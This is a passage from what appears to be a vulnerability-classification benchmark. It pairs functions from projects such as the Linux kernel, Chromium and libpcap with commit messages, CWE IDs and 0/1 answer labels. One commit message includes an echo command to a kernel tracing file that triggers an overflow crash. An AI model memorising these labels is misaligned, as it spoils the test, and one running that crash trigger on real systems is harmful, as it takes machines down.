&sendbufidx, RPCAP_NETBUF_SIZE, SOCKBUF_CHECKONLY, errmsgbuf, PCAP_ERRBUF_SIZE) == -1)
goto error;
rpcap_createhdr((struct rpcap_header *) sendbuf, ver,
RPCAP_MSG_STATS_REPLY, 0, (uint16) sizeof(struct rpcap_stats));
netstats = (struct rpcap_stats *) &sendbuf[sendbufidx];
if (sock_bufferize(NULL, sizeof(struct rpcap_stats), NULL,
&sendbufidx, RPCAP_NETBUF_SIZE, SOCKBUF_CHECKONLY, errmsgbuf, PCAP_ERRBUF_SIZE) == -1)
goto error;
if (session && session->fp)
{
if (pcap_stats(session->fp, stats) == -1)
{
pcap_snprintf(errmsgbuf, PCAP_ERRBUF_SIZE, "%s", pcap_geterr(session->fp));
goto error;
}
netstats->ifdrop = htonl(stats->ps_ifdrop);
netstats->ifrecv = htonl(stats->ps_recv);
netstats->krnldrop = htonl(stats->ps_drop);
netstats->svrcapt = htonl(session->TotCapt);
}
else
{
netstats->ifdrop = htonl(stats->ps_ifdrop);
netstats->ifrecv = htonl(stats->ps_recv);
netstats->krnldrop = htonl(stats->ps_drop);
netstats->svrcapt = htonl(svrcapt);
}
if (sock_send(pars->sockctrl, sendbuf, sendbufidx, errbuf, PCAP_ERRBUF_SIZE) == -1)
{
rpcapd_log(LOGPRIO_ERROR, "Send to client failed: %s", errbuf);
return -1;
}
return 0;
error:
rpcap_senderror(pars->sockctrl, ver, PCAP_ERR_GETSTATS,
errmsgbuf, NULL);
return 0;
}
Commit Message: In the open request, reject capture sources that are URLs.
You shouldn't be able to ask a server to open a remote device on some
*other* server; just open it yourself.
This addresses Include Security issue F13: [libpcap] Remote Packet
Capture Daemon Allows Opening Capture URLs.
CWE ID: CWE-918 | 0 | 88,413 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: ASF_Support::ASF_Support ( ASF_LegacyManager* _legacyManager,XMP_ProgressTracker* _progressTracker )
:legacyManager(_legacyManager),progressTracker(_progressTracker), posFileSizeInfo(0)
{
}
Commit Message:
CWE ID: CWE-835 | 0 | 15,909 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void nump_del(GF_Box *s)
{
gf_free((GF_NUMPBox *)s);
}
Commit Message: fixed 2 possible heap overflows (inc. #1088)
CWE ID: CWE-125 | 0 | 80,300 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int emulator_has_longmode(struct x86_emulate_ctxt *ctxt)
{
u32 eax, ebx, ecx, edx;
eax = 0x80000001;
ecx = 0;
ctxt->ops->get_cpuid(ctxt, &eax, &ebx, &ecx, &edx);
return edx & bit(X86_FEATURE_LM);
}
Commit Message: KVM: x86: drop error recovery in em_jmp_far and em_ret_far
em_jmp_far and em_ret_far assumed that setting IP can only fail in 64
bit mode, but syzkaller proved otherwise (and SDM agrees).
Code segment was restored upon failure, but it was left uninitialized
outside of long mode, which could lead to a leak of host kernel stack.
We could have fixed that by always saving and restoring the CS, but we
take a simpler approach and just break any guest that manages to fail
as the error recovery is error-prone and modern CPUs don't need emulator
for this.
Found by syzkaller:
WARNING: CPU: 2 PID: 3668 at arch/x86/kvm/emulate.c:2217 em_ret_far+0x428/0x480
Kernel panic - not syncing: panic_on_warn set ...
CPU: 2 PID: 3668 Comm: syz-executor Not tainted 4.9.0-rc4+ #49
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011
[...]
Call Trace:
[...] __dump_stack lib/dump_stack.c:15
[...] dump_stack+0xb3/0x118 lib/dump_stack.c:51
[...] panic+0x1b7/0x3a3 kernel/panic.c:179
[...] __warn+0x1c4/0x1e0 kernel/panic.c:542
[...] warn_slowpath_null+0x2c/0x40 kernel/panic.c:585
[...] em_ret_far+0x428/0x480 arch/x86/kvm/emulate.c:2217
[...] em_ret_far_imm+0x17/0x70 arch/x86/kvm/emulate.c:2227
[...] x86_emulate_insn+0x87a/0x3730 arch/x86/kvm/emulate.c:5294
[...] x86_emulate_instruction+0x520/0x1ba0 arch/x86/kvm/x86.c:5545
[...] emulate_instruction arch/x86/include/asm/kvm_host.h:1116
[...] complete_emulated_io arch/x86/kvm/x86.c:6870
[...] complete_emulated_mmio+0x4e9/0x710 arch/x86/kvm/x86.c:6934
[...] kvm_arch_vcpu_ioctl_run+0x3b7a/0x5a90 arch/x86/kvm/x86.c:6978
[...] kvm_vcpu_ioctl+0x61e/0xdd0 arch/x86/kvm/../../../virt/kvm/kvm_main.c:2557
[...] vfs_ioctl fs/ioctl.c:43
[...] do_vfs_ioctl+0x18c/0x1040 fs/ioctl.c:679
[...] SYSC_ioctl fs/ioctl.c:694
[...] SyS_ioctl+0x8f/0xc0 fs/ioctl.c:685
[...] entry_SYSCALL_64_fastpath+0x1f/0xc2
Reported-by: Dmitry Vyukov <[email protected]>
Cc: [email protected]
Fixes: d1442d85cc30 ("KVM: x86: Handle errors when RIP is set during far jumps")
Signed-off-by: Radim Krčmář <[email protected]>
CWE ID: CWE-200 | 0 | 47,962 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: ExtensionFunction::ResponseAction InputImeKeyEventHandledFunction::Run() {
std::unique_ptr<KeyEventHandled::Params> params(
KeyEventHandled::Params::Create(*args_));
InputImeEventRouter* event_router =
GetInputImeEventRouter(Profile::FromBrowserContext(browser_context()));
InputMethodEngineBase* engine =
event_router ? event_router->GetActiveEngine(extension_id()) : nullptr;
if (engine) {
engine->KeyEventHandled(extension_id(), params->request_id,
params->response);
}
return RespondNow(NoArguments());
}
Commit Message: Fix the regression caused by http://crrev.com/c/1288350.
Bug: 900124,856135
Change-Id: Ie11ad406bd1ea383dc2a83cc8661076309154865
Reviewed-on: https://chromium-review.googlesource.com/c/1317010
Reviewed-by: Lan Wei <[email protected]>
Commit-Queue: Shu Chen <[email protected]>
Cr-Commit-Position: refs/heads/master@{#605282}
CWE ID: CWE-416 | 0 | 144,864 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static MagickBooleanType SetImageProfileInternal(Image *image,const char *name,
const StringInfo *profile,const MagickBooleanType recursive)
{
char
key[MaxTextExtent];
MagickBooleanType
status;
assert(image != (Image *) NULL);
assert(image->signature == MagickSignature);
if (image->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename);
if (image->profiles == (SplayTreeInfo *) NULL)
image->profiles=NewSplayTree(CompareSplayTreeString,RelinquishMagickMemory,
DestroyProfile);
(void) CopyMagickString(key,name,MaxTextExtent);
LocaleLower(key);
status=AddValueToSplayTree((SplayTreeInfo *) image->profiles,
ConstantString(key),CloneStringInfo(profile));
if ((status != MagickFalse) &&
((LocaleCompare(name,"icc") == 0) || (LocaleCompare(name,"icm") == 0)))
{
const StringInfo
*icc_profile;
/*
Continue to support deprecated color profile member.
*/
icc_profile=GetImageProfile(image,name);
if (icc_profile != (const StringInfo *) NULL)
{
image->color_profile.length=GetStringInfoLength(icc_profile);
image->color_profile.info=GetStringInfoDatum(icc_profile);
}
}
if ((status != MagickFalse) &&
((LocaleCompare(name,"iptc") == 0) || (LocaleCompare(name,"8bim") == 0)))
{
const StringInfo
*iptc_profile;
/*
Continue to support deprecated IPTC profile member.
*/
iptc_profile=GetImageProfile(image,name);
if (iptc_profile != (const StringInfo *) NULL)
{
image->iptc_profile.length=GetStringInfoLength(iptc_profile);
image->iptc_profile.info=GetStringInfoDatum(iptc_profile);
}
}
if (status != MagickFalse)
{
if (LocaleCompare(name,"8bim") == 0)
GetProfilesFromResourceBlock(image,profile);
else
if (recursive == MagickFalse)
WriteTo8BimProfile(image,name,profile);
}
return(status);
}
Commit Message: https://github.com/ImageMagick/ImageMagick/issues/354
CWE ID: CWE-415 | 0 | 69,120 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: rotateContigSamples16bits(uint16 rotation, uint16 spp, uint16 bps, uint32 width,
uint32 length, uint32 col, uint8 *src, uint8 *dst)
{
int ready_bits = 0;
uint32 row, rowsize, bit_offset;
uint32 src_byte = 0, src_bit = 0;
uint16 matchbits = 0, maskbits = 0;
uint16 buff1 = 0, buff2 = 0;
uint8 bytebuff = 0;
uint8 *next;
tsample_t sample;
if ((src == NULL) || (dst == NULL))
{
TIFFError("rotateContigSamples16bits","Invalid src or destination buffer");
return (1);
}
rowsize = ((bps * spp * width) + 7) / 8;
ready_bits = 0;
maskbits = (uint16)-1 >> (16 - bps);
buff1 = buff2 = 0;
for (row = 0; row < length; row++)
{
bit_offset = col * bps * spp;
for (sample = 0; sample < spp; sample++)
{
if (sample == 0)
{
src_byte = bit_offset / 8;
src_bit = bit_offset % 8;
}
else
{
src_byte = (bit_offset + (sample * bps)) / 8;
src_bit = (bit_offset + (sample * bps)) % 8;
}
switch (rotation)
{
case 90: next = src + src_byte - (row * rowsize);
break;
case 270: next = src + src_byte + (row * rowsize);
break;
default: TIFFError("rotateContigSamples8bits", "Invalid rotation %d", rotation);
return (1);
}
matchbits = maskbits << (16 - src_bit - bps);
if (little_endian)
buff1 = (next[0] << 8) | next[1];
else
buff1 = (next[1] << 8) | next[0];
buff1 = (buff1 & matchbits) << (src_bit);
/* If we have a full buffer's worth, write it out */
if (ready_bits >= 8)
{
bytebuff = (buff2 >> 8);
*dst++ = bytebuff;
ready_bits -= 8;
/* shift in new bits */
buff2 = ((buff2 << 8) | (buff1 >> ready_bits));
}
else
{ /* add another bps bits to the buffer */
bytebuff = 0;
buff2 = (buff2 | (buff1 >> ready_bits));
}
ready_bits += bps;
}
}
if (ready_bits > 0)
{
bytebuff = (buff2 >> 8);
*dst++ = bytebuff;
}
return (0);
} /* end rotateContigSamples16bits */
Commit Message: * tools/tiffcrop.c: fix out-of-bound read of up to 3 bytes in
readContigTilesIntoBuffer(). Reported as MSVR 35092 by Axel Souchet
& Vishal Chauhan from the MSRC Vulnerabilities & Mitigations team.
CWE ID: CWE-125 | 0 | 48,279 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void Automation::GoForward(int tab_id, Error** error) {
int windex = 0, tab_index = 0;
*error = GetIndicesForTab(tab_id, &windex, &tab_index);
if (*error)
return;
std::string error_msg;
if (!SendGoForwardJSONRequest(
automation(), windex, tab_index, &error_msg)) {
*error = new Error(kUnknownError, error_msg);
}
}
Commit Message: In chromedriver, add /log url to get the contents of the chromedriver log
remotely. Also add a 'chrome.verbose' boolean startup option.
Remove usage of VLOG(1) in chromedriver. We do not need as complicated
logging as in Chrome.
BUG=85241
TEST=none
Review URL: http://codereview.chromium.org/7104085
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@88591 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399 | 0 | 100,711 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void Document::ClearAXObjectCache() {
DCHECK_EQ(&AXObjectCacheOwner(), this);
if (ax_object_cache_)
ax_object_cache_->Dispose();
ax_object_cache_.Clear();
}
Commit Message: Fixed bug where PlzNavigate CSP in a iframe did not get the inherited CSP
When inheriting the CSP from a parent document to a local-scheme CSP,
it does not always get propagated to the PlzNavigate CSP. This means
that PlzNavigate CSP checks (like `frame-src`) would be ran against
a blank policy instead of the proper inherited policy.
Bug: 778658
Change-Id: I61bb0d432e1cea52f199e855624cb7b3078f56a9
Reviewed-on: https://chromium-review.googlesource.com/765969
Commit-Queue: Andy Paicu <[email protected]>
Reviewed-by: Mike West <[email protected]>
Cr-Commit-Position: refs/heads/master@{#518245}
CWE ID: CWE-732 | 0 | 146,745 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: CSSStyleSheetResource::CSSStyleSheetResource(
const ResourceRequest& resource_request,
const ResourceLoaderOptions& options,
const TextResourceDecoderOptions& decoder_options)
: TextResource(resource_request,
ResourceType::kCSSStyleSheet,
options,
decoder_options) {}
Commit Message: Remove RequireCSSExtensionForFile runtime enabled flag.
The feature has long since been stable (since M64) and doesn't seem
to be a need for this flag.
BUG=788936
Change-Id: I666390b869289c328acb4a2daa5bf4154e1702c0
Reviewed-on: https://chromium-review.googlesource.com/c/1324143
Reviewed-by: Mike West <[email protected]>
Reviewed-by: Camille Lamy <[email protected]>
Commit-Queue: Dave Tapuska <[email protected]>
Cr-Commit-Position: refs/heads/master@{#607329}
CWE ID: CWE-254 | 0 | 154,574 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void fbFetch(PicturePtr pict, int x, int y, int width, CARD32 *buffer, CARD32 *mask, CARD32 maskBits)
{
FbBits *bits;
FbStride stride;
int bpp;
int xoff, yoff;
fetchProc fetch = fetchProcForPicture(pict);
miIndexedPtr indexed = (miIndexedPtr) pict->pFormat->index.devPrivate;
fbGetDrawable (pict->pDrawable, bits, stride, bpp, xoff, yoff);
x += xoff;
y += yoff;
bits += y*stride;
fetch(bits, x, width, buffer, indexed);
fbFinishAccess (pict->pDrawable);
}
Commit Message:
CWE ID: CWE-189 | 0 | 11,402 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool RenderLayerScrollableArea::overflowControlsIntersectRect(const IntRect& localRect) const
{
const IntRect borderBox = box().pixelSnappedBorderBoxRect();
if (rectForHorizontalScrollbar(borderBox).intersects(localRect))
return true;
if (rectForVerticalScrollbar(borderBox).intersects(localRect))
return true;
if (scrollCornerRect().intersects(localRect))
return true;
if (resizerCornerRect(borderBox, ResizerForPointer).intersects(localRect))
return true;
return false;
}
Commit Message: Defer call to updateWidgetPositions() outside of RenderLayerScrollableArea.
updateWidgetPositions() can destroy the render tree, so it should never
be called from inside RenderLayerScrollableArea. Leaving it there allows
for the potential of use-after-free bugs.
BUG=402407
[email protected]
Review URL: https://codereview.chromium.org/490473003
git-svn-id: svn://svn.chromium.org/blink/trunk@180681 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-416 | 0 | 120,006 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: int PDFiumEngine::GetDuplexType() {
return static_cast<int>(FPDF_VIEWERREF_GetDuplex(doc_));
}
Commit Message: [pdf] Defer page unloading in JS callback.
One of the callbacks from PDFium JavaScript into the embedder is to get the
current page number. In Chromium, this will trigger a call to
CalculateMostVisiblePage that method will determine the visible pages and unload
any non-visible pages. But, if the originating JS is on a non-visible page
we'll delete the page and annotations associated with that page. This will
cause issues as we are currently working with those objects when the JavaScript
returns.
This Cl defers the page unloading triggered by getting the most visible page
until the next event is handled by the Chromium embedder.
BUG=chromium:653090
Review-Url: https://codereview.chromium.org/2418533002
Cr-Commit-Position: refs/heads/master@{#424781}
CWE ID: CWE-416 | 0 | 140,329 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void __bio_clone_fast(struct bio *bio, struct bio *bio_src)
{
BUG_ON(bio->bi_pool && BVEC_POOL_IDX(bio));
/*
* most users will be overriding ->bi_disk with a new target,
* so we don't set nor calculate new physical/hw segment counts here
*/
bio->bi_disk = bio_src->bi_disk;
bio_set_flag(bio, BIO_CLONED);
bio->bi_opf = bio_src->bi_opf;
bio->bi_write_hint = bio_src->bi_write_hint;
bio->bi_iter = bio_src->bi_iter;
bio->bi_io_vec = bio_src->bi_io_vec;
bio_clone_blkcg_association(bio, bio_src);
}
Commit Message: fix unbalanced page refcounting in bio_map_user_iov
bio_map_user_iov and bio_unmap_user do unbalanced pages refcounting if
IO vector has small consecutive buffers belonging to the same page.
bio_add_pc_page merges them into one, but the page reference is never
dropped.
Cc: [email protected]
Signed-off-by: Vitaly Mayatskikh <[email protected]>
Signed-off-by: Al Viro <[email protected]>
CWE ID: CWE-772 | 0 | 62,802 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: const base::Feature* FindFeatureExposedToJava(const std::string& feature_name) {
for (size_t i = 0; i < arraysize(kFeaturesExposedToJava); ++i) {
if (kFeaturesExposedToJava[i]->name == feature_name)
return kFeaturesExposedToJava[i];
}
NOTREACHED() << "Queried feature cannot be found in ChromeFeatureList: "
<< feature_name;
return nullptr;
}
Commit Message: Add search bar to Android password settings
By enabling the feature PasswordSearch, a search icon will appear in the
action bar in Chrome > Settings > Save Passwords.
Clicking the icon will trigger a search box that hides non-password
views.
Every newly typed letter will instantly filter passwords which
don't contain the query. Ignores case.
Update: instead of adding a new white icon, the ic_search is recolored.
Update: merged with WIP crrev/c/868213
Bug: 794108
Change-Id: I9b4e3c7754bb5b0cc56e3156a746bcbf44aa5bd3
Reviewed-on: https://chromium-review.googlesource.com/866830
Commit-Queue: Friedrich Horschig <[email protected]>
Reviewed-by: Maxim Kolosovskiy <[email protected]>
Reviewed-by: Theresa <[email protected]>
Cr-Commit-Position: refs/heads/master@{#531891}
CWE ID: CWE-284 | 0 | 129,397 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: skia::RefPtr<SkPicture> Layer::GetPicture() const {
return skia::RefPtr<SkPicture>();
}
Commit Message: Removed pinch viewport scroll offset distribution
The associated change in Blink makes the pinch viewport a proper
ScrollableArea meaning the normal path for synchronizing layer scroll
offsets is used.
This is a 2 sided patch, the other CL:
https://codereview.chromium.org/199253002/
BUG=349941
Review URL: https://codereview.chromium.org/210543002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@260105 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-399 | 0 | 111,854 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void rb_init_page(struct buffer_data_page *bpage)
{
local_set(&bpage->commit, 0);
}
Commit Message: ring-buffer: Prevent overflow of size in ring_buffer_resize()
If the size passed to ring_buffer_resize() is greater than MAX_LONG - BUF_PAGE_SIZE
then the DIV_ROUND_UP() will return zero.
Here's the details:
# echo 18014398509481980 > /sys/kernel/debug/tracing/buffer_size_kb
tracing_entries_write() processes this and converts kb to bytes.
18014398509481980 << 10 = 18446744073709547520
and this is passed to ring_buffer_resize() as unsigned long size.
size = DIV_ROUND_UP(size, BUF_PAGE_SIZE);
Where DIV_ROUND_UP(a, b) is (a + b - 1)/b
BUF_PAGE_SIZE is 4080 and here
18446744073709547520 + 4080 - 1 = 18446744073709551599
where 18446744073709551599 is still smaller than 2^64
2^64 - 18446744073709551599 = 17
But now 18446744073709551599 / 4080 = 4521260802379792
and size = size * 4080 = 18446744073709551360
This is checked to make sure its still greater than 2 * 4080,
which it is.
Then we convert to the number of buffer pages needed.
nr_page = DIV_ROUND_UP(size, BUF_PAGE_SIZE)
but this time size is 18446744073709551360 and
2^64 - (18446744073709551360 + 4080 - 1) = -3823
Thus it overflows and the resulting number is less than 4080, which makes
3823 / 4080 = 0
an nr_pages is set to this. As we already checked against the minimum that
nr_pages may be, this causes the logic to fail as well, and we crash the
kernel.
There's no reason to have the two DIV_ROUND_UP() (that's just result of
historical code changes), clean up the code and fix this bug.
Cc: [email protected] # 3.5+
Fixes: 83f40318dab00 ("ring-buffer: Make removal of ring buffer pages atomic")
Signed-off-by: Steven Rostedt <[email protected]>
CWE ID: CWE-190 | 0 | 72,550 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void ParamTraits<AudioParameters>::Write(Message* m,
const AudioParameters& p) {
m->WriteInt(static_cast<int>(p.format()));
m->WriteInt(static_cast<int>(p.channel_layout()));
m->WriteInt(p.sample_rate());
m->WriteInt(p.bits_per_sample());
m->WriteInt(p.frames_per_buffer());
m->WriteInt(p.channels());
}
Commit Message: Improve validation when creating audio streams.
BUG=166795
Review URL: https://codereview.chromium.org/11647012
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@173981 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-189 | 0 | 118,580 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int mxf_compute_sample_count(MXFContext *mxf, int stream_index,
uint64_t *sample_count)
{
int i, total = 0, size = 0;
AVStream *st = mxf->fc->streams[stream_index];
MXFTrack *track = st->priv_data;
AVRational time_base = av_inv_q(track->edit_rate);
AVRational sample_rate = av_inv_q(st->time_base);
const MXFSamplesPerFrame *spf = NULL;
if ((sample_rate.num / sample_rate.den) == 48000)
spf = ff_mxf_get_samples_per_frame(mxf->fc, time_base);
if (!spf) {
int remainder = (sample_rate.num * time_base.num) %
(time_base.den * sample_rate.den);
*sample_count = av_q2d(av_mul_q((AVRational){mxf->current_edit_unit, 1},
av_mul_q(sample_rate, time_base)));
if (remainder)
av_log(mxf->fc, AV_LOG_WARNING,
"seeking detected on stream #%d with time base (%d/%d) and "
"sample rate (%d/%d), audio pts won't be accurate.\n",
stream_index, time_base.num, time_base.den,
sample_rate.num, sample_rate.den);
return 0;
}
while (spf->samples_per_frame[size]) {
total += spf->samples_per_frame[size];
size++;
}
av_assert2(size);
*sample_count = (mxf->current_edit_unit / size) * (uint64_t)total;
for (i = 0; i < mxf->current_edit_unit % size; i++) {
*sample_count += spf->samples_per_frame[i];
}
return 0;
}
Commit Message: avformat/mxfdec: Fix DoS issues in mxf_read_index_entry_array()
Fixes: 20170829A.mxf
Co-Author: 张洪亮(望初)" <[email protected]>
Found-by: Xiaohei and Wangchu from Alibaba Security Team
Signed-off-by: Michael Niedermayer <[email protected]>
CWE ID: CWE-834 | 0 | 61,569 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int futex_wait(u32 __user *uaddr, unsigned int flags, u32 val,
ktime_t *abs_time, u32 bitset)
{
struct hrtimer_sleeper timeout, *to = NULL;
struct restart_block *restart;
struct futex_hash_bucket *hb;
struct futex_q q = futex_q_init;
int ret;
if (!bitset)
return -EINVAL;
q.bitset = bitset;
if (abs_time) {
to = &timeout;
hrtimer_init_on_stack(&to->timer, (flags & FLAGS_CLOCKRT) ?
CLOCK_REALTIME : CLOCK_MONOTONIC,
HRTIMER_MODE_ABS);
hrtimer_init_sleeper(to, current);
hrtimer_set_expires_range_ns(&to->timer, *abs_time,
current->timer_slack_ns);
}
retry:
/*
* Prepare to wait on uaddr. On success, holds hb lock and increments
* q.key refs.
*/
ret = futex_wait_setup(uaddr, val, flags, &q, &hb);
if (ret)
goto out;
/* queue_me and wait for wakeup, timeout, or a signal. */
futex_wait_queue_me(hb, &q, to);
/* If we were woken (and unqueued), we succeeded, whatever. */
ret = 0;
/* unqueue_me() drops q.key ref */
if (!unqueue_me(&q))
goto out;
ret = -ETIMEDOUT;
if (to && !to->task)
goto out;
/*
* We expect signal_pending(current), but we might be the
* victim of a spurious wakeup as well.
*/
if (!signal_pending(current))
goto retry;
ret = -ERESTARTSYS;
if (!abs_time)
goto out;
restart = ¤t_thread_info()->restart_block;
restart->fn = futex_wait_restart;
restart->futex.uaddr = uaddr;
restart->futex.val = val;
restart->futex.time = abs_time->tv64;
restart->futex.bitset = bitset;
restart->futex.flags = flags | FLAGS_HAS_TIMEOUT;
ret = -ERESTART_RESTARTBLOCK;
out:
if (to) {
hrtimer_cancel(&to->timer);
destroy_hrtimer_on_stack(&to->timer);
}
return ret;
}
Commit Message: futex-prevent-requeue-pi-on-same-futex.patch futex: Forbid uaddr == uaddr2 in futex_requeue(..., requeue_pi=1)
If uaddr == uaddr2, then we have broken the rule of only requeueing from
a non-pi futex to a pi futex with this call. If we attempt this, then
dangling pointers may be left for rt_waiter resulting in an exploitable
condition.
This change brings futex_requeue() in line with futex_wait_requeue_pi()
which performs the same check as per commit 6f7b0a2a5c0f ("futex: Forbid
uaddr == uaddr2 in futex_wait_requeue_pi()")
[ tglx: Compare the resulting keys as well, as uaddrs might be
different depending on the mapping ]
Fixes CVE-2014-3153.
Reported-by: Pinkie Pie
Signed-off-by: Will Drewry <[email protected]>
Signed-off-by: Kees Cook <[email protected]>
Cc: [email protected]
Signed-off-by: Thomas Gleixner <[email protected]>
Reviewed-by: Darren Hart <[email protected]>
Signed-off-by: Linus Torvalds <[email protected]>
CWE ID: CWE-264 | 0 | 38,208 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool PermissionsData::CanRunOnPage(const Extension* extension,
const GURL& document_url,
const GURL& top_frame_url,
int tab_id,
int process_id,
const URLPatternSet& permitted_url_patterns,
std::string* error) const {
if (g_policy_delegate &&
!g_policy_delegate->CanExecuteScriptOnPage(
extension, document_url, top_frame_url, tab_id, process_id, error)) {
return false;
}
bool can_execute_everywhere = CanExecuteScriptEverywhere(extension);
if (!can_execute_everywhere &&
!ExtensionsClient::Get()->IsScriptableURL(document_url, error)) {
return false;
}
if (!base::CommandLine::ForCurrentProcess()->HasSwitch(
switches::kExtensionsOnChromeURLs)) {
if (document_url.SchemeIs(content::kChromeUIScheme) &&
!can_execute_everywhere) {
if (error)
*error = manifest_errors::kCannotAccessChromeUrl;
return false;
}
}
if (top_frame_url.SchemeIs(kExtensionScheme) &&
top_frame_url.GetOrigin() !=
Extension::GetBaseURLFromExtensionId(extension->id()).GetOrigin() &&
!can_execute_everywhere) {
if (error)
*error = manifest_errors::kCannotAccessExtensionUrl;
return false;
}
if (HasTabSpecificPermissionToExecuteScript(tab_id, top_frame_url))
return true;
bool can_access = permitted_url_patterns.MatchesURL(document_url);
if (!can_access && error) {
*error = ErrorUtils::FormatErrorMessage(manifest_errors::kCannotAccessPage,
document_url.spec());
}
return can_access;
}
Commit Message: Have the Debugger extension api check that it has access to the tab
Check PermissionsData::CanAccessTab() prior to attaching the debugger.
BUG=367567
Review URL: https://codereview.chromium.org/352523003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@280354 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-264 | 1 | 171,655 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void Pack<WebGLImageConversion::kDataFormatRGBA16F,
WebGLImageConversion::kAlphaDoUnmultiply,
float,
uint16_t>(const float* source,
uint16_t* destination,
unsigned pixels_per_row) {
for (unsigned i = 0; i < pixels_per_row; ++i) {
float scale_factor = source[3] ? 1.0f / source[3] : 1.0f;
destination[0] = ConvertFloatToHalfFloat(source[0] * scale_factor);
destination[1] = ConvertFloatToHalfFloat(source[1] * scale_factor);
destination[2] = ConvertFloatToHalfFloat(source[2] * scale_factor);
destination[3] = ConvertFloatToHalfFloat(source[3]);
source += 4;
destination += 4;
}
}
Commit Message: Implement 2D texture uploading from client array with FLIP_Y or PREMULTIPLY_ALPHA.
BUG=774174
TEST=https://github.com/KhronosGroup/WebGL/pull/2555
[email protected]
Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel
Change-Id: I4f4e7636314502451104730501a5048a5d7b9f3f
Reviewed-on: https://chromium-review.googlesource.com/808665
Commit-Queue: Zhenyao Mo <[email protected]>
Reviewed-by: Kenneth Russell <[email protected]>
Cr-Commit-Position: refs/heads/master@{#522003}
CWE ID: CWE-125 | 0 | 146,696 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void BrowserClosedNotificationObserver::Observe(
int type, const content::NotificationSource& source,
const content::NotificationDetails& details) {
DCHECK_EQ(chrome::NOTIFICATION_BROWSER_CLOSED, type);
if (!automation_) {
delete this;
return;
}
int browser_count = static_cast<int>(BrowserList::size());
bool app_closing = browser_count == 1;
if (use_json_interface_) {
AutomationJSONReply(automation_,
reply_message_.release()).SendSuccess(NULL);
} else {
if (for_browser_command_) {
AutomationMsg_WindowExecuteCommand::WriteReplyParams(reply_message_.get(),
true);
} else {
AutomationMsg_CloseBrowser::WriteReplyParams(reply_message_.get(), true,
app_closing);
}
automation_->Send(reply_message_.release());
}
delete this;
}
Commit Message: Remove TabContents from TabStripModelObserver::TabDetachedAt.
BUG=107201
TEST=no visible change
Review URL: https://chromiumcodereview.appspot.com/11293205
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20 | 0 | 117,568 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: SVGElement::SVGElement(const QualifiedName& tag_name,
Document& document,
ConstructionType construction_type)
: Element(tag_name, &document, construction_type),
svg_rare_data_(nullptr),
class_name_(SVGAnimatedString::Create(this, html_names::kClassAttr)) {
AddToPropertyMap(class_name_);
SetHasCustomStyleCallbacks();
}
Commit Message: Fix SVG crash for v0 distribution into foreignObject.
We require a parent element to be an SVG element for non-svg-root
elements in order to create a LayoutObject for them. However, we checked
the light tree parent element, not the flat tree one which is the parent
for the layout tree construction. Note that this is just an issue in
Shadow DOM v0 since v1 does not allow shadow roots on SVG elements.
Bug: 915469
